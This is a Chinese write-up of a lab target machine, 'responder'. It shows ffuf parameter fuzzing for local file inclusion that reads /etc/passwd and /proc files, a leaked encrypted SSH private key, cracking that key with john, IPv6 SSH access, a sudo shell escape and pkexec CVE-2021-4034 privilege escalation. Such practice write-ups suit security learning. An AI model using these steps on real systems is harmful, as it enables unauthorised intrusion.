靶机渗透日记 responder

  1. IP

  2. 端口

    在这里插入图片描述

  3. 访问 80 端口只有一句话,目录扫描

    在这里插入图片描述
    在这里插入图片描述

    访问 /filemanager.php 会跳转到 index.php ,可能是因为没有参数的原因,接下来爆破参数

    ffuf -u http://192.168.0.132/filemanager.php?FUZZ=/etc/passwd -w /root/Filenames_or_Directories_All.txt -fs 0
    

    在这里插入图片描述

    得到参数 random ,burpsuite 抓包测试

    在这里插入图片描述

  4. 使用 php 伪协议读取 filemanager.php 源码

    <?php
        $filename = $_GET['random'];
        include($filename);
        header('Location:/');
    
    
    /*
    
    -----BEGIN RSA PRIVATE KEY-----
    Proc-Type: 4,ENCRYPTED
    DEK-Info: DES-EDE3-CBC,411124D3C302D4F4
    
    XC2kbWNBYa20zDArT6BMeCgKa9oRs8T5sCVws1wGik8ZWChF4h6N9TzDnDGEMUPG
    X+lKp/fDKiZxmJdWu3WhLjgiXNbvX+fLiKZpWBzCAVpwSicS/jjIopzzWjE3PAB7
    vRfwdqdiaFK7mQxLJ3o/yrK2CCI8ud2UlEEk8DxTMGklmff8cbhrWIc+by+9AS9t
    vKd7hrsoLR6FaxBmfdO4dr1Qn9PZkvohHnMnpI7fdEC2Q3aqu6tFIODcVm6rBaII
    QM0CIRdWH/WiW7XmtJUriF55rQRJq4+ShXWtWKBXyJnYvyEduqQhieJ0BA9ZJjzy
    myaV1V5l0eKMhxWWBkYaz6bmFsLpbmXBBgIaiozKSKIMGWa1sWCAGv0EmMDRnDG4
    ClxkqgnDcgYskrdZLPJ5YN77M9OuB30/VIGXjzskJPp2XaubzYS7BvNjTbiD5uCU
    i1fHEzpPI/QeHQ25XlqlGCUla6b8mLFKMM91KcjO6TOSYgArC+kykbuqgDPMc7kt
    MKhxrsykmpkNz6FxsF78k/bmstPNbYDsa4ynzlIpiQHms+papIDcsHM4rUDib8Jh
    HQMfjbSchpL0YxVXAiz4Nvo33VQxp1WRh0geoO3bYz1D94FvozpeILFexnKaQeT3
    GLCLNyZ1BK/p5KKh5F1OhUU0brghzks5NjFYfNoGdnKfRsOIA+6X97AiDjqg9mk4
    YfbOgKHl75uELy41WzuNnuynfwWkANz7BhWV/QCLS7NiyaCucXJBJj3LRdT4Ckqf
    3F1SNgshDq4vDC4RwkJW2umTmDpW0rZ3syzeb9P4/bmQXkWX/btoIJzmnB6y++Bs
    XIrtZKa1yJ6/M0XA6tGTi+bnYD0wOmoU64M3l21HXvQUOXgSg5o0jIJQceTKcIN/
    wLLNM0ybmzq7z+MlLGrpyOez/fSAECvagyUZRmnks0eRR1oKzMS00e+qEFJ4GmeE
    Yu2dITC6I3pVRZQGcCsZWCX+BP+64Lcdz4/n5lensjab0jd28Kc72sraDteSlP/Y
    wWZM9sYbXtcs14cIPpW3a1dbkOT1WGEwjt0X0F0DNgApvA8XnlTr+whJVaMByA4U
    t3UQHVUINNoLnX7uSBPo96yWcwAMuXjk8j3ZaFVd5rOGq/Xd0pKBBARd2Un9QZnN
    4PzEWF1d9/BObzSeo2dVEZgYXcRE3v0oEZImFIoxQcvgoxxeYjNViX0SsYEJfA9F
    Pg8ZQ6R+ZjA3pU1DqBxWnErHDyeGsnVBs8VIQKOiiZMeB12Tx9b9k8E6rjRIw6La
    UbzpR+4CVgToD5TZBDpHhWHdPcv3JuNAb49XGdsL889uTwBX+fSTvL6FkXtZjySX
    gm6v5x/OPZg4BB/CnCWSeiG+rW0iMU4TGE5LqfuyBZBOhVcDtri3qpYLGH/5NKfw
    dq15m9rReh/Jec6Z8BNi9Xo5gEjGglQA/Tfw2VqCmrsMaU3iNMNXLKrYTcsm0qHb
    vRYvQl9GgeApdrZ/BY/ySb6OjNUS1Nc9Viv0AM9iCHp4tH6OfmVpnVzDuojdkXiZ
    lB/vwbCo9CcBZt7lM91Hl60ZlhLsOa/69PAeC3cZR2Z1svVk1gcDrw==
    -----END RSA PRIVATE KEY-----
    
    
    */
    
    ?>
    

    得到了 ssh 私钥,但是端口扫描得知 22 端口处于 filter 状态

  5. 爆破 ssh 私钥

    john --wordlists=/usr/share/wordlists/rockyou.txt hash.txt
    

    在这里插入图片描述

  6. 使用 ipv6 地址链接 ssh

    curl 'http://192.168.0.132/filemanager.php?random=/proc/net/if_inet6'
    
    fe80000000000000020c29fffefeab39 02 40 20 80    ens33
    00000000000000000000000000000001 01 80 10 80       lo
    fd154ba55a2b1008020c29fffefeab39 02 40 00 00    ens33
    

    使用 nmap 扫描

    nmap -6 -p22 fd15:4ba5:5a2b:1008:020c:29ff:fefe:ab39
    

    在这里插入图片描述

    连接

    ssh elliot@fd15:4ba5:5a2b:1008:020c:29ff:fefe:ab39 -i id_rsa  -6
    
  7. 执行 sudo -l

    在这里插入图片描述

    发现可以以 rohit 用户运行 calc ,执行 !/bin/bash 获得 shell

    查看 SUID 文件,发现可以运行 pkexec ,使用 CVE-2021-4034 进行提权

    在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值